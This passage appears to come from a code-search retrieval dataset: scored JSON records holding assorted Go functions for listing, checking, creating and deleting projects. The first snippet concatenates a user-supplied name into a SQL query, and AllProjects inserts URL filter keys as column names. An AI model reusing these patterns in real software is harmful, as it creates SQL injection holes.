!= \"\" {\n\t\tsql = sql + \" AND b.`name` like '%\" + platName + \"%'\"\n\t}\n\tsql = sql + \" AND a.`is_delete`=0 ORDER BY a.`id`;\"\n\trows, err := db.Query(sql)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\tprojects := make([]Project, 0)\n\tfor rows.Next() {\n\t\trows.Scan(&p.ID, &p.Name, &p.PlatformID, &p.PlatformName, &p.CdnID,\n\t\t\t&p.Path, &p.Domain, &p.Status, &p.CreateTime, &p.UpdateTime)\n\t\tprojects = append(projects, p)\n\t}\n\ttotal := len(projects)\n\tif total < 1 {\n\t\tcontent, err = jsoniter.Marshal(Response{Code: 4000, Msg: \"record not found\", Total: total})\n\t} else {\n\t\tpageList := make([]interface{}, len(projects))\n\t\tfor i, v := range projects {\n\t\t\tpageList[i] = v\n\t\t}\n\t\tnewProjects := Pages(pageNum, pageSize, pageList)\n\t\tcontent, err = jsoniter.Marshal(Response{Code: 200, Msg: \"get success\", Data: newProjects, Total: total})\n\t}\n\tif err != nil {\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "1801897a7043b24fcc9a4e3dfe8dab00", "score": "0.54163074", "text": "func ProjectExists(projectName string, namespace string) (bool, error) {\n\tvar stdout, stderr bytes.Buffer\n\tocPath, err := exec.LookPath(\"oc\")\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tcmd := exec.Command(ocPath, \"get\", \"appproject/\"+projectName, \"-n\", namespace)\n\tcmd.Stdout = &stdout\n\tcmd.Stderr = &stderr\n\tif err := cmd.Run(); err != nil {\n\t\treturn false, fmt.Errorf(\"oc command failed. Stdout: %s, Stderr: %s\", stdout.String(), stderr.String())\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "0d7b4c07506b3d71881937e3e55eeab8", "score": "0.5411281", "text": "func checkProjectCreateOrDeleteOnlyOnInvalidNamespaceNoFmt(command *cobra.Command, errFormatForCommand string) error {\n\t// do not error out when its odo delete -a, so that we let users delete the local config on missing namespace\n\tif command.HasParent() && command.Parent().Name() != \"project\" && (command.Name() == \"create\" || command.Name() == \"push\" || (command.Name() == \"delete\" && !command.Flags().Changed(\"all\"))) {\n\t\treturn fmt.Errorf(errFormatForCommand)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8d0516fecd9ce693e495ba1bd0e160bd", "score": "0.54111046", "text": "func SearchRunningProjectPOST(w http.ResponseWriter, r *http.Request) {\n\t// Get session\n\tsess := session.Instance(r)\n\n\t//Get list of all users\n\tif sess.Values[\"id\"] != nil {\n\n\t\t// Display the view\n\t\tv := view.New(r)\n\t\tv.Name = \"project/running_project\"\n\n\t\t//View permissions\n\t\tv.Vars[\"token\"] = csrfbanana.Token(w, r, sess)\n\t\tv.Vars[\"first_name\"] = sess.Values[\"first_name\"]\n\t\tv.Vars[\"is_auth\"] = sess.Values[\"is_auth\"]\n\t\tv.Vars[\"is_student\"] = sess.Values[\"is_student\"]\n\t\tv.Vars[\"is_supervisor\"] = sess.Values[\"is_supervisor\"]\n\t\tv.Vars[\"is_project_manager\"] = sess.Values[\"is_project_manager\"]\n\n\t\t// Validate with required fields\n\t\tif validate, _ := view.Validate(r, []string{\"query\"}); !validate {\n\t\t\tsess.AddFlash(view.Flash{\"אנא מלא שדות חסרים\", view.FlashError})\n\t\t\tsess.Save(r, w)\n\t\t\tListProjectsGET(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tquery := r.FormValue(\"query\")\n\n\t\t// Get user ID form session\n\t\tID, err := strconv.ParseInt(sess.Values[\"id\"].(string), 10, 32)\n\n\t\t// Check if the number converted well\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\tsess.Save(r, w)\n\t\t\tListProjectsGET(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tuser, err := model.SelectUserInfo(uint32(ID))\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\tsess.Save(r, w)\n\t\t\tListProjectsGET(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tvar projects []model.Project\n\t\tif user.Role == 2 {\n\t\t\tprojects, err = model.SearchRunningProjectBySupervisor(user.ID, query)\n\t\t} else if user.Role == 3 {\n\t\t\tprojects, err = model.SearchRunningProject(query)\n\t\t}\n\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\tsess.Save(r, w)\n\t\t\tListProjectsGET(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tv.Vars[\"projects\"] = projects\n\t\tvar supervisors []string\n\n\t\tfor i, project := range projects {\n\n\t\t\t//HACK NOT USE IT AGAIN\n\t\t\tvar Students model.Students\n\t\t\terr := json.Unmarshal(project.StudentsId, &Students)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tlog.Println(err)\n\t\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\t\tsess.Save(r, w)\n\t\t\t\tListProjectsGET(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tstudent1, err := model.SelectUserInfo(uint32(Students.StudentId1))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\t\tsess.Save(r, w)\n\t\t\t\tListProjectsGET(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tstudent2, err := model.SelectUserInfo(uint32(Students.StudentId2))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tsess.AddFlash(view.Flash{\"שגיאת שרת פנימית\", view.FlashError})\n\t\t\t\tsess.Save(r, w)\n\t\t\t\tListProjectsGET(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tprojects[i].Description = student1.FirstName + \" \" + student1.LastName + \" ו\" + student2.FirstName + \" \" + student2.LastName\n\t\t}\n\n\t\tv.Vars[\"supervisors\"] = supervisors\n\n\t\tv.Render(w)\n\t} else {\n\t\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\t}\n}", "title": "" }, { "docid": "2d56d64925bc2de32be65ff60434fa2d", "score": "0.5407535", "text": "func (c *RESTClient) projectExists(ctx context.Context, p *modelv2.Project) (bool, error) {\n\t_, err := c.GetProject(ctx, p.Name)\n\tif err != nil {\n\t\tif errors.Is(err, &ErrProjectNotFound{}) {\n\t\t\treturn false, nil\n\t\t} else {\n\t\t\treturn false, err\n\t\t}\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "76f53ea8430463d0c14d974dcb5dc7dd", "score": "0.5402233", "text": "func GetProjects(resp http.ResponseWriter, req *http.Request) {\n\tdbcon := db.Connect()\n\tdefer dbcon.Close()\n\tresp.Header().Set(\"Content-Type\", \"application/json\")\n\tprojects, err := db.QueryAll(dbcon)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thttp.Error(resp, \"could not retrieve projects from the db\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\thandle(err)\n\tjrsp, err := json.Marshal(projects)\n\tif err != nil {\n\t\tfmt.Println(fmt.Errorf(\"Error: %v\", err))\n\t\tresp.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tresp.Header().Set(\"Content-Type\", \"application/json\")\n\tresp.Write(jrsp)\n}", "title": "" }, { "docid": "5d3180f1c166ae689f62bb36b244c0c1", "score": "0.5388596", "text": "func GetAllProjects(w http.ResponseWriter, r *http.Request) {\n\tallproject, err := pgClient.GetAllProjects()\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t}\n\t\treturn\n\t}\n\terr = json.NewEncoder(w).Encode(allproject)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"\" + err.Error() + \"\\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Not Writing to ResponseWriter error %s due: %s\", err.Error(), errWrite.Error())\n\t\t}\n\t}\n}", "title": "" }, { "docid": "876d8d5e87888f1aa5a0268822cd72e8", "score": "0.5386856", "text": "func loadProjectData() {\n\n loadJsonFile(\"project_list.json\", &projects)\n\tfor index, _ := range projects {\n\t\tprojects[index].Page = HtmlTemplate(loadHtmlTemplate(projects[index].Content), DICT{\"Project\" : projects[index]})\n\t\t\n\t\tif (index %2 == 0) {\n projects[index].OddIndex = false\n } else {\n projects[index].OddIndex = true;\n }\n\t}\n\n\tprojectIndex = setprojectIndexMap()\n}", "title": "" }, { "docid": "a3665c88d99f71a73f8d8c6861eceb81", "score": "0.53831995", "text": "func LocateProject() (string, error) {\n\t// check if the .proj folder is here\n\tpath, err := os.Getwd()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to get working directory: %v\", err)\n\t}\n\n\t// stat .proj to see if it's here\n\tfile, err := os.Stat(\".proj\")\n\n\tif err == nil {\n\t\t// if no error, then we found it\n\t\treturn fp.Join(path, file.Name()), nil\n\t} else if err != nil && !os.IsNotExist(err) {\n\t\t// if some error besides a not exist, it's a legit error\n\t\treturn \"\", fmt.Errorf(\"Failed to stat .proj locally: %v\", err)\n\t} // else it's a IsNotExist error, whcih we kinda expected. Keep looking\n\n\t// split it into a list\n\thierarchy := strings.Split(path, \"/\")\n\t// assign a position marker to the current directory\n\tpos := len(hierarchy) - 1\n\n\t// while the position marker is not 0\n\tfmt.Println(hierarchy)\n\tfor ; pos > 0; pos-- {\n\t\t// descend\n\t\terr = os.Chdir(\"..\")\n\t\tlog.Log.WithField(\"path\", \"/\"+fp.Join(hierarchy[:pos]...)).Debug(\"Searching for .proj\")\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Failed to move to enclosing folder: %v\", err)\n\t\t}\n\n\t\t// look for the .proj folder\n\t\tfile, err := os.Stat(\".proj\")\n\n\t\tif err == nil {\n\t\t\t// if no error, then we found it\n\t\t\treturn \"/\" + fp.Join(fp.Join(hierarchy[:pos]...), file.Name()), nil\n\t\t\t// if some error besides a not exist, it's a legit error\n\t\t} else if err != nil && !os.IsNotExist(err) {\n\t\t\treturn \"\", fmt.Errorf(\"Failed to stat .proj at %s: %v\", \"/\"+fp.Join(hierarchy[:pos]...), err)\n\t\t} // else it's a IsNotExist error, whcih we kinda expected. Keep looking\n\n\t}\n\n\t// chdir back to where we started\n\terr = os.Chdir(path)\n\tif err != nil {\n\n\t}\n\n\treturn \"\", fmt.Errorf(\"No project exists\")\n}", "title": "" }, { "docid": "391f40a4e3f962addb9a4f1470c22cfd", "score": "0.5380333", "text": "func project_action(action_name string, project_name string, action_comment string) {\n db, err := sql.Open(\"postgres\",connection_string())\n if err != nil {\n log.Fatal(err)\n } else {\n build_sql := fmt.Sprintf(\"SELECT %s_project($1,$2)\", action_name)\n rows, err := db.Query(build_sql, project_name, action_comment)\n if err != nil {\n log.Fatal(err)\n } else {\n for rows.Next() {\n var start_result int\n if err := rows.Scan(&start_result); err != nil {\n log.Fatal(err)\n }\n if start_result == 0 {\n fmt.Printf(\"project [%s] action %s. ok.\\n\", project_name, action_name)\n } else {\n fmt.Printf(\"!!! project [%s] can't %s, because it %s already !!!\\n\", project_name, action_name, action_name)\n }\n }\n }\n }\n}", "title": "" }, { "docid": "e7ea1deac408408e584ce4de72398ddc", "score": "0.53777933", "text": "func GetProjectInfo(conf *modules.Config) (int, error) {\n\tvar URL string\n\trequestPara := new(httppara.HTTPParameters)\n\tprojects := make([]modules.Project, 0)\n\ttoken := token.PersonalToken{Name: \"PRIVATE-TOKEN\", Value: conf.AccessInfo.PersonalToken}\n\tbaseURL := conf.AccessInfo.WebURL\n\tURL = baseURL + \"/api/v4/projects\"\n\tfmt.Println(\"URL\", URL)\n\trequestPara.InitPara(URL, \"GET\", token)\n\tprojectInfo, err := HTTPRequestWithHeader(requestPara, \"project\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\terr = json.Unmarshal(projectInfo.([]byte), &projects)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn processProjectInfo(projects, conf.ProjectInfo.Name)\n}", "title": "" }, { "docid": "788ee8ecee207d69c1623f2f7f23a92c", "score": "0.53754497", "text": "func (a *TtsApiService) Projects(ctx context.Context) (ProjectsCollection, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Get\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t \tsuccessPayload ProjectsCollection\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/projects\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{ \"application/json\", }\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/json\",\n\t\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-Api-Key\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn successPayload, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn successPayload, localVarHttpResponse, err\n\t}\n\tdefer localVarHttpResponse.Body.Close()\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tbodyBytes, _ := ioutil.ReadAll(localVarHttpResponse.Body)\n\t\treturn successPayload, localVarHttpResponse, reportError(\"Status: %v, Body: %s\", localVarHttpResponse.Status, bodyBytes)\n\t}\n\n\tif err = json.NewDecoder(localVarHttpResponse.Body).Decode(&successPayload); err != nil {\n\t\treturn successPayload, localVarHttpResponse, err\n\t}\n\n\n\treturn successPayload, localVarHttpResponse, err\n}", "title": "" }, { "docid": "0572d5356b5ea6c2318616c9b952a131", "score": "0.5368526", "text": "func (r *resourceID) check() error {\n\t// '-' means ignore project level in url\n\tif r.ProjectCode == \"-\" || r.ProjectIDOrCode == \"-\" || r.ProjectID == \"-\" {\n\t\treturn nil\n\t}\n\tif r.ProjectIDOrCode != \"\" && r.ProjectID == \"\" {\n\t\tp, err := store.GetModel().GetProject(context.Background(), r.ProjectIDOrCode)\n\t\tif err != nil {\n\t\t\treturn errorx.NewReadableErr(errorx.ProjectNotExistsErr, \"项目不存在\")\n\t\t}\n\t\tr.ProjectID = p.ProjectID\n\t}\n\tif r.ProjectCode != \"\" && r.ProjectID == \"\" {\n\t\tp, err := store.GetModel().GetProject(context.Background(), r.ProjectCode)\n\t\tif err != nil {\n\t\t\treturn errorx.NewReadableErr(errorx.ProjectNotExistsErr, \"项目不存在\")\n\t\t}\n\t\tr.ProjectID = p.ProjectID\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ffa8ac6a4ac9480c07d7bfdc510c2656", "score": "0.5357985", "text": "func VerifyUniqueProject(name string) error {\n\t_, err := FindProjectById(name, false, false)\n\tif err == nil {\n\t\treturn gimlet.ErrorResponse{\n\t\t\tStatusCode: http.StatusBadRequest,\n\t\t\tMessage: fmt.Sprintf(\"cannot use existing project name '%s'\", name),\n\t\t}\n\t}\n\tapiErr, ok := err.(gimlet.ErrorResponse)\n\tif !ok {\n\t\treturn errors.Errorf(\"Type assertion failed: type %T does not hold an error\", err)\n\t}\n\tif apiErr.StatusCode != http.StatusNotFound {\n\t\treturn errors.Wrapf(err, \"Database error verifying project '%s' doesn't already exist\", name)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ef92d8e650c8bac17bb9251d2ce4d677", "score": "0.535004", "text": "func (mavenlink *MavenlinkApi) GetProject(keyOrId string) (*communicator.Project, error) {\n\tvar workspacesResponse *communicator.MavenlinkWorkspacesResponse\n\tvar project *communicator.Project\n\tvar Url *url.URL\n\tUrl, UrlErr := url.Parse(mavenlink.env.Url)\n\tif UrlErr != nil {\n\t\treturn project, errors.New(\"Failed to parse environment URL\")\n\t}\n\tUrl.Path += endpoint[\"workspaces\"]\n\tparameters := url.Values{}\n\tparameters.Add(\"only\", fmt.Sprint(keyOrId))\n\tUrl.RawQuery = parameters.Encode()\n\ttoken := mavenlink.env.Token\n\tapiErr := InsecureRequest(Url.String(), \"GET\", nil, token, &workspacesResponse)\n\tif apiErr != nil {\n\t\tif mavenlink.env.Debug == true {\n\t\t\tlog.Logf(\"Error(API - %s) : %s\\n\", Url.String(), apiErr)\n\t\t}\n\t\treturn project, apiErr\n\t}\n\tif workspacesResponse == nil || workspacesResponse.Workspaces == nil {\n\t\treturn project, errors.New(\"Failed to retrieve response from workspaces endpoint\")\n\t}\n\tfor key, workspace := range workspacesResponse.Workspaces {\n\t\tif fmt.Sprint(key) == keyOrId {\n\t\t\tproject := new(communicator.Project)\n\t\t\tproject.Id = workspace.Id\n\t\t\tproject.Title = workspace.Title\n\t\t\tproject.Description = workspace.Description\n\t\t\tproject.AccessLevel = workspace.AccessLevel\n\t\t\tproject.AccountId = workspace.AccountId\n\t\t\tproject.Archived = workspace.Archived\n\t\t\tproject.Currency = workspace.Currency\n\t\t\tproject.CurrencySymbol = workspace.CurrencySymbol\n\t\t\tproject.CreatedAt = workspace.CreatedAt\n\t\t\tproject.DueDate = workspace.DueDate\n\t\t\tproject.EffectiveDueDate = workspace.EffectiveDueDate\n\t\t\tproject.StartDate = workspace.StartDate\n\t\t\tproject.UpdatedAt = workspace.UpdatedAt\n\t\t\treturn project, nil\n\t\t}\n\t}\n\treturn project, nil\n}", "title": "" }, { "docid": "1e6b39430481718da039ffe93ae20f5b", "score": "0.5348976", "text": "func AllProjects(conn *sql.DB, filters url.Values) ([]*Project, error) {\n\tquery := \"SELECT * FROM projects\"\n\tvar where []string\n\tvar params []interface{}\n\ti := 0\n\tfilterRegex := regexp.MustCompile(\"^filter\\\\[([a-z_]+)\\\\]$\")\n\tfor setting := range filters {\n\t\tmatch := filterRegex.FindStringSubmatch(setting)\n\t\tif match != nil {\n\t\t\ti = i + 1\n\t\t\twhere = append(where, fmt.Sprintf(\"%s=$%d\", match[1], i))\n\t\t\tparams = append(params, filters[setting][0])\n\t\t}\n\t}\n\tif len(where) > 0 {\n\t\tquery = query + \" WHERE \" + strings.Join(where, \" AND \")\n\t}\n\trows, nok := conn.Query(query, params...)\n\tif nok != nil {\n\t\treturn nil, nok\n\t}\n\tdefer rows.Close()\n\n\tvar results []*Project\n\n\tfor rows.Next() {\n\t\titem, err := getProject(rows)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresults = append(results, item)\n\t}\n\tif nok = rows.Err(); nok != nil {\n\t\treturn nil, nok\n\t}\n\treturn results, nil\n}", "title": "" }, { "docid": "942a7ed830b4ef21bafc012211537d0b", "score": "0.53451663", "text": "func ProjectDelete(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tvar err error\n\n\tappID := vars[\"appId\"]\n\n\tcomposeData, err := utils.GetComposeProject(appID)\n\tif err == nil {\n\t\tproj, err := utils.GetProject(composeData, appID)\n\n\t\tif err == nil {\n\t\t\tlog.Info(\"Delete Project : \", appID)\n proj.Down()\n\t\t proj.Delete()\n err = utils.RemoveComposeProject(appID)\n \n if err == nil {\n w.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n w.WriteHeader(http.StatusOK)\n if err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusOK, Text: \"OK\"}); err != nil {\n panic(err)\n }\n return\n }\n\t\t}\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusNotFound)\n\tif err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusNotFound, Text: err.Error()}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "473f7aef12d6e3cc6004573534522cec", "score": "0.53388894", "text": "func (c ProjectsCommand) Items(arg, data string) (items []alfred.Item, err error) {\n\tvar cfg projectCfg\n\tif data != \"\" {\n\t\tif err := json.Unmarshal([]byte(data), &cfg); err != nil {\n\t\t\tdlog.Printf(\"Invalid issue config\")\n\t\t}\n\t}\n\n\tif err = checkRefresh(); err != nil {\n\t\treturn\n\t}\n\n\t// first, filter all projects based on user's open issues\n\tprojects := map[int]Issue{}\n\tactiveProjects := map[int]bool{}\n\tissueCounts := map[int]int{}\n\tclosed := getClosedStatusIDs()\n\n\tfor i := range cache.Issues {\n\t\tissue := cache.Issues[i]\n\t\tif _, ok := closed[issue.Status.ID]; !ok {\n\t\t\t// projects with at least one non-closed issue are \"active\"\n\t\t\tactiveProjects[issue.Project.ID] = true\n\t\t}\n\n\t\tif existing, ok := projects[issue.Project.ID]; !ok || dueDateIsBefore(issue.DueDate, existing.DueDate) {\n\t\t\t// store the project with the soonest due date in the projects list\n\t\t\tprojects[issue.Project.ID] = issue\n\t\t}\n\n\t\tissueCounts[issue.Project.ID]++\n\t}\n\n\t// First, add the projects with active issues\n\tfor _, project := range cache.Projects {\n\t\tif _, ok := activeProjects[project.ID]; !ok {\n\t\t\t// skip inactive projects\n\t\t\tcontinue\n\t\t}\n\n\t\tif p, ok := projects[project.ID]; ok && alfred.FuzzyMatches(project.Name, arg) {\n\t\t\tsubTitle := fmt.Sprintf(\"%d issues\", issueCounts[project.ID])\n\t\t\tif p.DueDate != \"\" {\n\t\t\t\tdueDate, _ := time.Parse(\"2006-01-02\", p.DueDate)\n\t\t\t\tsubTitle += \", first is due \" + toHumanDateString(dueDate)\n\t\t\t}\n\n\t\t\titem := alfred.Item{\n\t\t\t\tUID: fmt.Sprintf(\"redmineproject-%d\", project.ID),\n\t\t\t\tTitle: project.Name,\n\t\t\t\tAutocomplete: project.Name,\n\t\t\t\tSubtitle: subTitle,\n\t\t\t\tArg: &alfred.ItemArg{\n\t\t\t\t\tKeyword: issuesKeyword,\n\t\t\t\t\tData: alfred.Stringify(&issueCfg{ProjectID: &project.ID}),\n\t\t\t\t},\n\t\t\t}\n\n\t\t\titem.AddMod(alfred.ModCmd, alfred.ItemMod{\n\t\t\t\tSubtitle: \"Open this project in Redmine\",\n\t\t\t\tArg: &alfred.ItemArg{\n\t\t\t\t\tKeyword: projectsKeyword,\n\t\t\t\t\tMode: alfred.ModeDo,\n\t\t\t\t\tData: alfred.Stringify(&projectCfg{ToOpen: getProjectURL(project.ID)}),\n\t\t\t\t},\n\t\t\t})\n\n\t\t\titems = append(items, item)\n\t\t}\n\t}\n\n\t// Next, add the projects that recently had active issues\n\tfor _, project := range cache.Projects {\n\t\tif _, ok := activeProjects[project.ID]; ok {\n\t\t\t// skip active projects\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := projects[project.ID]; ok && alfred.FuzzyMatches(project.Name, arg) {\n\t\t\titem := alfred.Item{\n\t\t\t\tUID: fmt.Sprintf(\"redmineproject-%d\", project.ID),\n\t\t\t\tTitle: project.Name,\n\t\t\t\tAutocomplete: project.Name,\n\t\t\t\tArg: &alfred.ItemArg{\n\t\t\t\t\tKeyword: issuesKeyword,\n\t\t\t\t\tData: alfred.Stringify(&issueCfg{ProjectID: &project.ID}),\n\t\t\t\t},\n\t\t\t}\n\n\t\t\titem.AddMod(alfred.ModCmd, alfred.ItemMod{\n\t\t\t\tSubtitle: \"Open this project in Redmine\",\n\t\t\t\tArg: &alfred.ItemArg{\n\t\t\t\t\tKeyword: projectsKeyword,\n\t\t\t\t\tMode: alfred.ModeDo,\n\t\t\t\t\tData: alfred.Stringify(&projectCfg{ToOpen: getProjectURL(project.ID)}),\n\t\t\t\t},\n\t\t\t})\n\n\t\t\titems = append(items, item)\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "84531226c0f4f0d5ed22b1ce71654e91", "score": "0.5333973", "text": "func NewProjectNotFound() *ProjectNotFound {\n\treturn &ProjectNotFound{}\n}", "title": "" }, { "docid": "e6877bbf05d46fceb999230b44f41f1c", "score": "0.5331231", "text": "func AllProjectsHandler(ctx *context.Context) {\n\tprojects, err := repo.FindAllProjects()\n\tif err != nil {\n\t\tctx.JSON(http.StatusBadRequest, map[string]string{\"error\": \"Error on get projects\"})\n\t\treturn\n\t}\n\tif projects == nil {\n\t\tctx.JSON(http.StatusOK, map[string][]string{\"projects\": []string{}})\n\t\treturn\n\t}\n\tctx.JSON(http.StatusOK, map[string]interface{}{\"projects\": projects})\n}", "title": "" }, { "docid": "c6015f137317a0ed706747a69c4f1e37", "score": "0.5330111", "text": "func SafeFindCurrentProject() string {\n\tproj, err := project.FindCurrent()\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn proj.Path\n}", "title": "" }, { "docid": "a03ec754e73bd026a6db690c0c49e997", "score": "0.53263783", "text": "func ProjectCreate(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tappID := vars[\"appId\"]\n\n\tbody, err := ioutil.ReadAll(io.LimitReader(r.Body, 1048576))\n\tif err == nil {\n\t\tif err := r.Body.Close(); err == nil {\n\t\t\terr = utils.SetComposeProject(appID, body)\n\t\t\tif err == nil {\n\t\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tif err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusOK, Text: \"OK\"}); err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusNotFound)\n\tif err := json.NewEncoder(w).Encode(jsonErr{Code: http.StatusNotFound, Text: err.Error()}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "45cc98b710dfd7987e55b93d9a486813", "score": "0.5323742", "text": "func slnProjects(infos []*projectInfo) string {\n\tvar slnProjectIds []string\n\tfor _, info := range infos {\n\t\tslnProjectIds = append(slnProjectIds, slnProject(info))\n\t}\n\treturn strings.Join(slnProjectIds, \"\\r\\n\")\n}", "title": "" }, { "docid": "71c2efb7cb059ee2cb06369da2b08ac2", "score": "0.530698", "text": "func Parse(configFilepath string) (*Project, *failures.Failure) {\n\tdat, err := ioutil.ReadFile(configFilepath)\n\tif err != nil {\n\t\treturn nil, failures.FailIO.Wrap(err)\n\t}\n\n\tproject := Project{}\n\terr = yaml.Unmarshal([]byte(dat), &project)\n\tproject.path = configFilepath\n\n\tif err != nil {\n\t\treturn nil, FailParseProject.New(locale.T(\"err_project_parse\", map[string]interface{}{\"Error\": err.Error()}))\n\t}\n\n\tif project.Variables != nil {\n\t\treturn nil, FailValidate.New(\"variable_field_deprecation_warning\")\n\t}\n\n\tif project.Project == \"\" && project.Owner != \"\" && project.Name != \"\" {\n\t\tif !warned {\n\t\t\tprint.Warning(locale.Tr(\"warn_deprecation_owner_name_fields\", project.Owner, project.Name))\n\t\t\twarned = true\n\t\t}\n\t\tproject.Project = fmt.Sprintf(\"https://%s/%s/%s\", constants.PlatformURL, project.Owner, project.Name)\n\t}\n\n\tfail := ValidateProjectURL(project.Project)\n\tif fail != nil {\n\t\treturn nil, fail\n\t}\n\n\tif project.Owner == \"\" && project.Name == \"\" {\n\t\tmatch := ProjectURLRe.FindStringSubmatch(project.Project)\n\t\tproject.Owner = match[1]\n\t\tproject.Name = match[2]\n\t}\n\tstoreProjectMapping(fmt.Sprintf(\"%s/%s\", project.Owner, project.Name), filepath.Dir(project.path))\n\n\treturn &project, nil\n}", "title": "" }, { "docid": "43c8f54c19a68872b79e06aa8b77be45", "score": "0.5305524", "text": "func Test_Client_GetProject_Success(test *testing.T) {\n\ttestClientRequest(test, &ClientTest{\n\t\tAPIKey: \"my-test-api-key\",\n\t\tRequest: func(test *testing.T, client *Client) {\n\t\t\tproject, err := client.GetProject(\"Projects-105\")\n\t\t\tif err != nil {\n\t\t\t\ttest.Fatal(err)\n\t\t\t}\n\n\t\t\tverifyGetProjectTestResponse(test, project)\n\t\t},\n\t\tRespond: testRespondOK(getProjectTestResponse),\n\t})\n}", "title": "" }, { "docid": "ea42b86b7d26c3e210dfdf337bc2e06e", "score": "0.53053117", "text": "func (o *ProjectCurrentCostResponseList) HasProjects() bool {\n\tif o != nil && o.Projects != nil {\n\t\treturn 